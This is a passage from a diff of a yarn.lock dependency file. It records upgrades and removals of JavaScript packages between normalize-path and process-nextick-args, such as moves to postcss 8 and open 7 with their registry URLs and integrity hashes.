   resolved "https://registry.yarnpkg.com/normalize-path/-/normalize-path-3.0.0.tgz#0dcd69ff23a1c9b11fd0978316644a0388216a65"
@@ -5178,12 +4785,12 @@ normalize-url@^3.0.0:
   resolved "https://registry.yarnpkg.com/normalize-url/-/normalize-url-3.3.0.tgz#b2e1c4dc4f7c6d57743df733a4f5978d18650559"
   integrity sha512-U+JJi7duF1o+u2pynbp2zXDW2/PADgC30f0GsHZtRh+HOcXHnw137TrNlyxxRvWW5fjKd3bcLHPxofWuCjaeZg==
 
-npm-run-path@^2.0.0:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/npm-run-path/-/npm-run-path-2.0.2.tgz#35a9232dfa35d7067b4cb2ddf2357b1871536c5f"
-  integrity sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=
+npm-run-path@^4.0.1:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/npm-run-path/-/npm-run-path-4.0.1.tgz#b7ecd1e5ed53da8e37a55e1c2269e0b97ed748ea"
+  integrity sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==
   dependencies:
-    path-key "^2.0.0"
+    path-key "^3.0.0"
 
 "npmlog@0 || 1 || 2 || 3 || 4", npmlog@^4.0.0:
   version "4.1.2"
@@ -5217,15 +4824,6 @@ object-assign@^4.0.1, object-assign@^4.1.0, object-assign@^4.1.1:
   resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863"
   integrity sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=
 
-object-copy@^0.1.0:
-  version "0.1.0"
-  resolved "https://registry.yarnpkg.com/object-copy/-/object-copy-0.1.0.tgz#7e7d858b781bd7c991a41ba975ed3812754e998c"
-  integrity sha1-fn2Fi3gb18mRpBupde04EnVOmYw=
-  dependencies:
-    copy-descriptor "^0.1.0"
-    define-property "^0.2.5"
-    kind-of "^3.0.3"
-
 object-inspect@^1.9.0:
   version "1.10.2"
   resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.10.2.tgz#b6385a3e2b7cae0b5eafcf90cddf85d128767f30"
@@ -5244,13 +4842,6 @@ object-keys@^1.0.12, object-keys@^1.1.1:
   resolved "https://registry.yarnpkg.com/object-keys/-/object-keys-1.1.1.tgz#1c47f272df277f3b1daf061677d9c82e2322c60e"
   integrity sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==
 
-object-visit@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/object-visit/-/object-visit-1.0.1.tgz#f79c4493af0c5377b59fe39d395e41042dd045bb"
-  integrity sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=
-  dependencies:
-    isobject "^3.0.0"
-
 object.assign@^4.1.0, object.assign@^4.1.2:
   version "4.1.2"
   resolved "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.2.tgz#0ed54a342eceb37b38ff76eb831a0e788cb63940"
@@ -5261,16 +4852,6 @@ object.assign@^4.1.0, object.assign@^4.1.2:
     has-symbols "^1.0.1"
     object-keys "^1.1.1"
 
-object.entries@^1.1.0:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/object.entries/-/object.entries-1.1.3.tgz#c601c7f168b62374541a07ddbd3e2d5e4f7711a6"
-  integrity sha512-ym7h7OZebNS96hn5IJeyUmaWhaSM4SVtAPPfNLQEI2MYWCO2egsITb9nab2+i/Pwibx+R0mtn+ltKJXRSeTMGg==
-  dependencies:
-    call-bind "^1.0.0"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.0-next.1"
-    has "^1.0.3"
-
 object.getownpropertydescriptors@^2.1.0:
   version "2.1.2"
   resolved "https://registry.yarnpkg.com/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.2.tgz#1bd63aeacf0d5d2d2f31b5e393b03a7c601a23f7"
@@ -5280,13 +4861,6 @@ object.getownpropertydescriptors@^2.1.0:
     define-properties "^1.1.3"
     es-abstract "^1.18.0-next.2"
 
-object.pick@^1.3.0:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/object.pick/-/object.pick-1.3.0.tgz#87a10ac4c1694bd2e1cbf53591a66141fb5dd747"
-  integrity sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=
-  dependencies:
-    isobject "^3.0.1"
-
 object.values@^1.1.0:
   version "1.1.3"
   resolved "https://registry.yarnpkg.com/object.values/-/object.values-1.1.3.tgz#eaa8b1e17589f02f698db093f7c62ee1699742ee"
@@ -5314,36 +4888,29 @@ on-headers@~1.0.2:
   resolved "https://registry.yarnpkg.com/on-headers/-/on-headers-1.0.2.tgz#772b0ae6aaa525c399e489adfad90c403eb3c28f"
   integrity sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==
 
-once@^1.3.0, once@^1.3.1, once@^1.4.0:
+once@^1.3.0:
   version "1.4.0"
   resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1"
   integrity sha1-WDsap3WWHUsROsF9nFC6753Xa9E=
   dependencies:
     wrappy "1"
 
-opn@^5.5.0:
-  version "5.5.0"
-  resolved "https://registry.yarnpkg.com/opn/-/opn-5.5.0.tgz#fc7164fab56d235904c51c3b27da6758ca3b9bfc"
-  integrity sha512-PqHpggC9bLV0VeWcdKhkpxY+3JTzetLSqTCWL/z/tFIbI6G8JCjondXklT1JinczLz2Xib62sSp0T/gKT4KksA==
+onetime@^5.1.2:
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/onetime/-/onetime-5.1.2.tgz#d0e96ebb56b07476df1dd9c4806e5237985ca45e"
+  integrity sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==
   dependencies:
-    is-wsl "^1.1.0"
+    mimic-fn "^2.1.0"
 
-optimize-css-assets-webpack-plugin@^5.0.1:
-  version "5.0.4"
-  resolved "https://registry.yarnpkg.com/optimize-css-assets-webpack-plugin/-/optimize-css-assets-webpack-plugin-5.0.4.tgz#85883c6528aaa02e30bbad9908c92926bb52dc90"
-  integrity sha512-wqd6FdI2a5/FdoiCNNkEvLeA//lHHfG24Ln2Xm2qqdIk4aOlsR18jwpyOihqQ8849W3qu2DX8fOYxpvTMj+93A==
+open@^7.4.2:
+  version "7.4.2"
+  resolved "https://registry.yarnpkg.com/open/-/open-7.4.2.tgz#b8147e26dcf3e426316c730089fd71edd29c2321"
+  integrity sha512-MVHddDVweXZF3awtlAS+6pgKLlm/JgxZ90+/NBurBoQctVOOB/zDdVjcyPzQ+0laDGbsWgrRkflI65sQeOgT9Q==
   dependencies:
-    cssnano "^4.1.10"
-    last-call-webpack-plugin "^3.0.0"
-
-original@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/original/-/original-1.0.2.tgz#e442a61cffe1c5fd20a65f3261c26663b303f25f"
-  integrity sha512-hyBVl6iqqUOJ8FqRe+l/gS8H+kKYjrEndd5Pm1MfBtsEKA038HkkdbAl/72EAXGyonD/PFsvmVG+EvcIpliMBg==
-  dependencies:
-    url-parse "^1.4.3"
+    is-docker "^2.0.0"
+    is-wsl "^2.1.1"
 
-os-browserify@^0.3.0, os-browserify@~0.3.0:
+os-browserify@~0.3.0:
   version "0.3.0"
   resolved "https://registry.yarnpkg.com/os-browserify/-/os-browserify-0.3.0.tgz#854373c7f5c2315914fc9bfc6bd8238fdda1ec27"
   integrity sha1-hUNzx/XCMVkU/Jv8a9gjj92h7Cc=
@@ -5353,7 +4920,7 @@ os-homedir@^1.0.0:
   resolved "https://registry.yarnpkg.com/os-homedir/-/os-homedir-1.0.2.tgz#ffbc4988336e0e833de0c168c7ef152121aa7fb3"
   integrity sha1-/7xJiDNuDoM94MFox+8VISGqf7M=
 
-os-tmpdir@^1.0.0, os-tmpdir@~1.0.2:
+os-tmpdir@^1.0.0:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/os-tmpdir/-/os-tmpdir-1.0.2.tgz#bbe67406c79aa85c5cfec766fe5734555dfa1274"
   integrity sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=
@@ -5363,8 +4930,20 @@ osenv@0:
   resolved "https://registry.yarnpkg.com/osenv/-/osenv-0.1.5.tgz#85cdfafaeb28e8677f416e287592b5f3f49ea410"
   integrity sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==
   dependencies:
-    os-homedir "^1.0.0"
-    os-tmpdir "^1.0.0"
+    os-homedir "^1.0.0"
+    os-tmpdir "^1.0.0"
+
+p-defer@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/p-defer/-/p-defer-1.0.0.tgz#9f6eb182f6c9aa8cd743004a7d4f96b196b0fb0c"
+  integrity sha1-n26xgvbJqozXQwBKfU+WsZaw+ww=
+
+p-event@^4.2.0:
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/p-event/-/p-event-4.2.0.tgz#af4b049c8acd91ae81083ebd1e6f5cae2044c1b5"
+  integrity sha512-KXatOjCRXXkSePPb1Nbi0p0m+gQAwdlbhi4wQKJPI1HsMQS9g+Sqp2o+QHziPr7eYJyOZet836KoHEVM1mwOrQ==
+  dependencies:
+    p-timeout "^3.1.0"
 
 p-finally@^1.0.0:
   version "1.0.0"
@@ -5378,6 +4957,13 @@ p-limit@^2.0.0, p-limit@^2.2.0:
   dependencies:
     p-try "^2.0.0"
 
+p-limit@^3.0.2, p-limit@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-3.1.0.tgz#e1daccbe78d0d1388ca18c64fea38e3e57e3706b"
+  integrity sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==
+  dependencies:
+    yocto-queue "^0.1.0"
+
 p-locate@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-3.0.0.tgz#322d69a05c0264b25997d9f40cd8a891ab0064a4"
@@ -5397,13 +4983,28 @@ p-map@^2.0.0:
   resolved "https://registry.yarnpkg.com/p-map/-/p-map-2.1.0.tgz#310928feef9c9ecc65b68b17693018a665cea175"
   integrity sha512-y3b8Kpd8OAN444hxfBbFfj1FY/RjtTd8tzYwhUqNYXx0fXx2iX4maP4Qr6qhIKbQXI02wTLAda4fYUbDagTUFw==
 
-p-retry@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/p-retry/-/p-retry-3.0.1.tgz#316b4c8893e2c8dc1cfa891f406c4b422bebf328"
-  integrity sha512-XE6G4+YTTkT2a0UWb2kjZe8xNwf8bIbnqpc/IS/idOBVhyves0mK5OJgeocjx7q5pvX/6m23xuzVPYT1uGM73w==
+p-map@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/p-map/-/p-map-4.0.0.tgz#bb2f95a5eda2ec168ec9274e06a747c3e2904d2b"
+  integrity sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==
+  dependencies:
+    aggregate-error "^3.0.0"
+
+p-retry@^4.5.0:
+  version "4.5.0"
+  resolved "https://registry.yarnpkg.com/p-retry/-/p-retry-4.5.0.tgz#6685336b3672f9ee8174d3769a660cb5e488521d"
+  integrity sha512-5Hwh4aVQSu6BEP+w2zKlVXtFAaYQe1qWuVADSgoeVlLjwe/Q/AMSoRR4MDeaAfu8llT+YNbEijWu/YF3m6avkg==
   dependencies:
+    "@types/retry" "^0.12.0"
     retry "^0.12.0"
 
+p-timeout@^3.1.0:
+  version "3.2.0"
+  resolved "https://registry.yarnpkg.com/p-timeout/-/p-timeout-3.2.0.tgz#c7e17abc971d2a7962ef83626b35d635acf23dfe"
+  integrity sha512-rhIwUycgwwKcP9yTOOFK/AKsAopjjCakVqLHePO3CC6Mir1Z99xT+R63jZxAT5lFZLa2inS5h+ZS2GvR99/FBg==
+  dependencies:
+    p-finally "^1.0.0"
+
 p-try@^2.0.0:
   version "2.2.0"
   resolved "https://registry.yarnpkg.com/p-try/-/p-try-2.2.0.tgz#cb2868540e313d61de58fafbe35ce9004d5540e6"
@@ -5421,15 +5022,6 @@ pako@~1.0.5:
   resolved "https://registry.yarnpkg.com/pako/-/pako-1.0.11.tgz#6c9599d340d54dfd3946380252a35705a6b992bf"
   integrity sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==
 
-parallel-transform@^1.1.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/parallel-transform/-/parallel-transform-1.2.0.tgz#9049ca37d6cb2182c3b1d2c720be94d14a5814fc"
-  integrity sha512-P2vSmIu38uIlvdcU7fDkyrxj33gTUy/ABO5ZUbGowxNCopBq/OoD42bP4UmMrJoPyk4Uqf0mu3mtWBhHCZD8yg==
-  dependencies:
-    cyclist "^1.0.1"
-    inherits "^2.0.3"
-    readable-stream "^2.1.5"
-
 parents@^1.0.0, parents@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/parents/-/parents-1.0.1.tgz#fedd4d2bf193a77745fe71e371d73c3307d9c751"
@@ -5463,36 +5055,16 @@ parse-json@^4.0.0:
     error-ex "^1.3.1"
     json-parse-better-errors "^1.0.1"
 
-parse-passwd@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/parse-passwd/-/parse-passwd-1.0.0.tgz#6d5b934a456993b23d37f40a382d6f1666a8e5c6"
-  integrity sha1-bVuTSkVpk7I9N/QKOC1vFmao5cY=
-
 parseurl@~1.3.2, parseurl@~1.3.3:
   version "1.3.3"
   resolved "https://registry.yarnpkg.com/parseurl/-/parseurl-1.3.3.tgz#9da19e7bee8d12dff0513ed5b76957793bc2e8d4"
   integrity sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==
 
-pascalcase@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/pascalcase/-/pascalcase-0.1.1.tgz#b363e55e8006ca6fe21784d2db22bd15d7917f14"
-  integrity sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=
-
-path-browserify@0.0.1:
-  version "0.0.1"
-  resolved "https://registry.yarnpkg.com/path-browserify/-/path-browserify-0.0.1.tgz#e6c4ddd7ed3aa27c68a20cc4e50e1a4ee83bbc4a"
-  integrity sha512-BapA40NHICOS+USX9SN4tyhq+A2RrN/Ws5F0Z5aMHDp98Fl86lX8Oti8B7uN93L4Ifv4fHOEA+pQw87gmMO/lQ==
-
 path-browserify@^1.0.0:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/path-browserify/-/path-browserify-1.0.1.tgz#d98454a9c3753d5790860f16f68867b9e46be1fd"
   integrity sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g==
 
-path-dirname@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/path-dirname/-/path-dirname-1.0.2.tgz#cc33d24d525e099a5388c0336c6e32b9160609e0"
-  integrity sha1-zDPSTVJeCZpTiMAzbG4yuRYGCeA=
-
 path-exists@^2.0.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-2.1.0.tgz#0feb6c64f0fc518d9a754dd5efb62c7022761f4b"
@@ -5520,10 +5092,10 @@ path-is-inside@^1.0.2:
   resolved "https://registry.yarnpkg.com/path-is-inside/-/path-is-inside-1.0.2.tgz#365417dede44430d1c11af61027facf074bdfc53"
   integrity sha1-NlQX3t5EQw0cEa9hAn+s8HS9/FM=
 
-path-key@^2.0.0, path-key@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/path-key/-/path-key-2.0.1.tgz#411cadb574c5a140d3a4b1910d40d80cc9f40b40"
-  integrity sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=
+path-key@^3.0.0, path-key@^3.1.0:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/path-key/-/path-key-3.1.1.tgz#581f6ade658cbba65a0d3380de7753295054f375"
+  integrity sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==
 
 path-parse@^1.0.6:
   version "1.0.6"
@@ -5549,6 +5121,11 @@ path-type@^1.0.0:
     pify "^2.0.0"
     pinkie-promise "^2.0.0"
 
+path-type@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/path-type/-/path-type-4.0.0.tgz#84ed01c0a7ba380afe09d90a8c180dcd9d03043b"
+  integrity sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==
+
 pbkdf2@^3.0.3:
   version "3.1.2"
   resolved "https://registry.yarnpkg.com/pbkdf2/-/pbkdf2-3.1.2.tgz#dd822aa0887580e52f1a039dc3eda108efae3075"
@@ -5565,7 +5142,7 @@ performance-now@^2.1.0:
   resolved "https://registry.yarnpkg.com/performance-now/-/performance-now-2.1.0.tgz#6309f4e0e5fa913ec1c69307ae364b4b377c9e7b"
   integrity sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=
 
-picomatch@^2.0.4, picomatch@^2.2.1:
+picomatch@^2.0.4, picomatch@^2.2.1, picomatch@^2.2.3:
   version "2.2.3"
   resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-2.2.3.tgz#465547f359ccc206d3c48e46a1bcb89bf7ee619d"
   integrity sha512-KpELjfwcCDUb9PeigTs2mBJzXUPzAuP2oPcA989He8Rte0+YUAjw1JVedDhuTKPkHjSYzMN3npC9luThGYEKdg==
@@ -5592,28 +5169,21 @@ pinkie@^2.0.0:
   resolved "https://registry.yarnpkg.com/pinkie/-/pinkie-2.0.4.tgz#72556b80cfa0d48a974e80e77248e80ed4f7f870"
   integrity sha1-clVrgM+g1IqXToDnckjoDtT3+HA=
 
-pkg-dir@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-3.0.0.tgz#2749020f239ed990881b1f71210d51eb6523bea3"
-  integrity sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==
-  dependencies:
-    find-up "^3.0.0"
-
-pkg-dir@^4.1.0:
+pkg-dir@^4.1.0, pkg-dir@^4.2.0:
   version "4.2.0"
   resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-4.2.0.tgz#f099133df7ede422e81d1d8448270eeb3e4261f3"
   integrity sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==
   dependencies:
     find-up "^4.0.0"
 
-pkg-up@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/pkg-up/-/pkg-up-1.0.0.tgz#3e08fb461525c4421624a33b9f7e6d0af5b05a26"
-  integrity sha1-Pgj7RhUlxEIWJKM7n35tCvWwWiY=
+pkg-up@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/pkg-up/-/pkg-up-3.1.0.tgz#100ec235cc150e4fd42519412596a28512a0def5"
+  integrity sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA==
   dependencies:
-    find-up "^1.0.0"
+    find-up "^3.0.0"
 
-portfinder@^1.0.26:
+portfinder@^1.0.28:
   version "1.0.28"
   resolved "https://registry.yarnpkg.com/portfinder/-/portfinder-1.0.28.tgz#67c4622852bd5374dd1dd900f779f53462fac778"
   integrity sha512-Se+2isanIcEqf2XMHjyUKskczxbPH7dQnlMjXX6+dybayyHvAf/TCgyMRlzf/B6QDhAEFOGes0pzRo3by4AbMA==
@@ -5622,11 +5192,6 @@ portfinder@^1.0.26:
     debug "^3.1.1"
     mkdirp "^0.5.5"
 
-posix-character-classes@^0.1.0:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/posix-character-classes/-/posix-character-classes-0.1.1.tgz#01eac0fe3b5af71a2a6c02feabb8c1fef7e00eab"
-  integrity sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=
-
 postcss-calc@^7.0.1:
   version "7.0.5"
   resolved "https://registry.yarnpkg.com/postcss-calc/-/postcss-calc-7.0.5.tgz#f8a6e99f12e619c2ebc23cf6c486fdc15860933e"
@@ -5745,37 +5310,33 @@ postcss-minify-selectors@^4.0.2:
     postcss "^7.0.0"
     postcss-selector-parser "^3.0.0"
 
-postcss-modules-extract-imports@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/postcss-modules-extract-imports/-/postcss-modules-extract-imports-2.0.0.tgz#818719a1ae1da325f9832446b01136eeb493cd7e"
-  integrity sha512-LaYLDNS4SG8Q5WAWqIJgdHPJrDDr/Lv775rMBFUbgjTz6j34lUznACHcdRWroPvXANP2Vj7yNK57vp9eFqzLWQ==
-  dependencies:
-    postcss "^7.0.5"
+postcss-modules-extract-imports@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz#cda1f047c0ae80c97dbe28c3e76a43b88025741d"
+  integrity sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==
 
-postcss-modules-local-by-default@^2.0.6:
-  version "2.0.6"
-  resolved "https://registry.yarnpkg.com/postcss-modules-local-by-default/-/postcss-modules-local-by-default-2.0.6.tgz#dd9953f6dd476b5fd1ef2d8830c8929760b56e63"
-  integrity sha512-oLUV5YNkeIBa0yQl7EYnxMgy4N6noxmiwZStaEJUSe2xPMcdNc8WmBQuQCx18H5psYbVxz8zoHk0RAAYZXP9gA==
+postcss-modules-local-by-default@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.0.tgz#ebbb54fae1598eecfdf691a02b3ff3b390a5a51c"
+  integrity sha512-sT7ihtmGSF9yhm6ggikHdV0hlziDTX7oFoXtuVWeDd3hHObNkcHRo9V3yg7vCAY7cONyxJC/XXCmmiHHcvX7bQ==
   dependencies:
-    postcss "^7.0.6"
-    postcss-selector-parser "^6.0.0"
-    postcss-value-parser "^3.3.1"
+    icss-utils "^5.0.0"
+    postcss-selector-parser "^6.0.2"
+    postcss-value-parser "^4.1.0"
 
-postcss-modules-scope@^2.1.0:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/postcss-modules-scope/-/postcss-modules-scope-2.2.0.tgz#385cae013cc7743f5a7d7602d1073a89eaae62ee"
-  integrity sha512-YyEgsTMRpNd+HmyC7H/mh3y+MeFWevy7V1evVhJWewmMbjDHIbZbOXICC2y+m1xI1UVfIT1HMW/O04Hxyu9oXQ==
+postcss-modules-scope@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/postcss-modules-scope/-/postcss-modules-scope-3.0.0.tgz#9ef3151456d3bbfa120ca44898dfca6f2fa01f06"
+  integrity sha512-hncihwFA2yPath8oZ15PZqvWGkWf+XUfQgUGamS4LqoP1anQLOsOJw0vr7J7IwLpoY9fatA2qiGUGmuZL0Iqlg==
   dependencies:
-    postcss "^7.0.6"
-    postcss-selector-parser "^6.0.0"
+    postcss-selector-parser "^6.0.4"
 
-postcss-modules-values@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/postcss-modules-values/-/postcss-modules-values-2.0.0.tgz#479b46dc0c5ca3dc7fa5270851836b9ec7152f64"
-  integrity sha512-Ki7JZa7ff1N3EIMlPnGTZfUMe69FFwiQPnVSXC9mnn3jozCRBYIxiZd44yJOV2AmabOo4qFf8s0dC/+lweG7+w==
+postcss-modules-values@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz#d7c5e7e68c3bb3c9b27cbf48ca0bb3ffb4602c9c"
+  integrity sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==
   dependencies:
-    icss-replace-symbols "^1.1.0"
-    postcss "^7.0.6"
+    icss-utils "^5.0.0"
 
 postcss-normalize-charset@^4.0.1:
   version "4.0.1"
@@ -5896,7 +5457,7 @@ postcss-selector-parser@^3.0.0:
     indexes-of "^1.0.1"
     uniq "^1.0.1"
 
-postcss-selector-parser@^6.0.0, postcss-selector-parser@^6.0.2:
+postcss-selector-parser@^6.0.2, postcss-selector-parser@^6.0.4:
   version "6.0.5"
   resolved "https://registry.yarnpkg.com/postcss-selector-parser/-/postcss-selector-parser-6.0.5.tgz#042d74e137db83e6f294712096cb413f5aa612c4"
   integrity sha512-aFYPoYmXbZ1V6HZaSvat08M97A8HqO6Pjz+PiNpw/DhuRrC72XWAdp3hL6wusDCN31sSmcZyMGa2hZEuX+Xfhg==
@@ -5922,12 +5483,12 @@ postcss-unique-selectors@^4.0.1:
     postcss "^7.0.0"
     uniqs "^2.0.0"
 
-postcss-value-parser@^3.0.0, postcss-value-parser@^3.3.0, postcss-value-parser@^3.3.1:
+postcss-value-parser@^3.0.0:
   version "3.3.1"
   resolved "https://registry.yarnpkg.com/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz#9ff822547e2893213cf1c30efa51ac5fd1ba8281"
   integrity sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ==
 
-postcss-value-parser@^4.0.2:
+postcss-value-parser@^4.0.2, postcss-value-parser@^4.1.0:
   version "4.1.0"
   resolved "https://registry.yarnpkg.com/postcss-value-parser/-/postcss-value-parser-4.1.0.tgz#443f6a20ced6481a2bda4fa8532a6e55d789a2cb"
   integrity sha512-97DXOFbQJhk71ne5/Mt6cOu6yxsSfM0QGQyl0L25Gca4yGWEGJaig7l7gbCX623VqTBNGLRLaVUCnNkcedlRSQ==
@@ -5941,7 +5502,7 @@ postcss@7.0.21:
     source-map "^0.6.1"
     supports-color "^6.1.0"
 
-postcss@^7.0.0, postcss@^7.0.1, postcss@^7.0.14, postcss@^7.0.27, postcss@^7.0.5, postcss@^7.0.6:
+postcss@^7.0.0, postcss@^7.0.1, postcss@^7.0.27:
   version "7.0.35"
   resolved "https://registry.yarnpkg.com/postcss/-/postcss-7.0.35.tgz#d2be00b998f7f211d8a276974079f2e92b970e24"
   integrity sha512-3QT8bBJeX/S5zKTTjTCIjRF3If4avAT6kqxcASlTWEtAFCb9NH0OUxNDfgZSWdP5fJnBYCMEWkIFfWeugjzYMg==
@@ -5950,20 +5511,29 @@ postcss@^7.0.0, postcss@^7.0.1, postcss@^7.0.14, postcss@^7.0.27, postcss@^7.0.5
     source-map "^0.6.1"
     supports-color "^6.1.0"
 
-pretty-error@^2.1.1:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/pretty-error/-/pretty-error-2.1.2.tgz#be89f82d81b1c86ec8fdfbc385045882727f93b6"
-  integrity sha512-EY5oDzmsX5wvuynAByrmY0P0hcp+QpnAKbJng2A2MPjVKXCxrDSUkzghVJ4ZGPIv+JC4gX8fPUWscC0RtjsWGw==
+postcss@^8.2.10:
+  version "8.2.13"
+  resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.2.13.tgz#dbe043e26e3c068e45113b1ed6375d2d37e2129f"
+  integrity sha512-FCE5xLH+hjbzRdpbRb1IMCvPv9yZx2QnDarBEYSN0N0HYk+TcXsEhwdFcFb+SRWOKzKGErhIEbBK2ogyLdTtfQ==
+  dependencies:
+    colorette "^1.2.2"
+    nanoid "^3.1.22"
+    source-map "^0.6.1"
+
+pretty-error@^3.0.3:
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/pretty-error/-/pretty-error-3.0.3.tgz#57f4b16aebcadbd681db2c002ae0f95bf87b24cf"
+  integrity sha512-nFB0BMeWNJA4YfmrgqPhOH3UQjMQZASZ2ueBfmlyqpVy9+ExLcmwXL/Iu4Wb9pbt/cubQXK4ir8IZUnE8EwFnw==
   dependencies:
     lodash "^4.17.20"
-    renderkid "^2.0.4"
+    renderkid "^2.0.5"
 
 process-nextick-args@~2.0.0:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz#7820d9b16120cc55ca9ae7792680ae7dba6d7fe2"
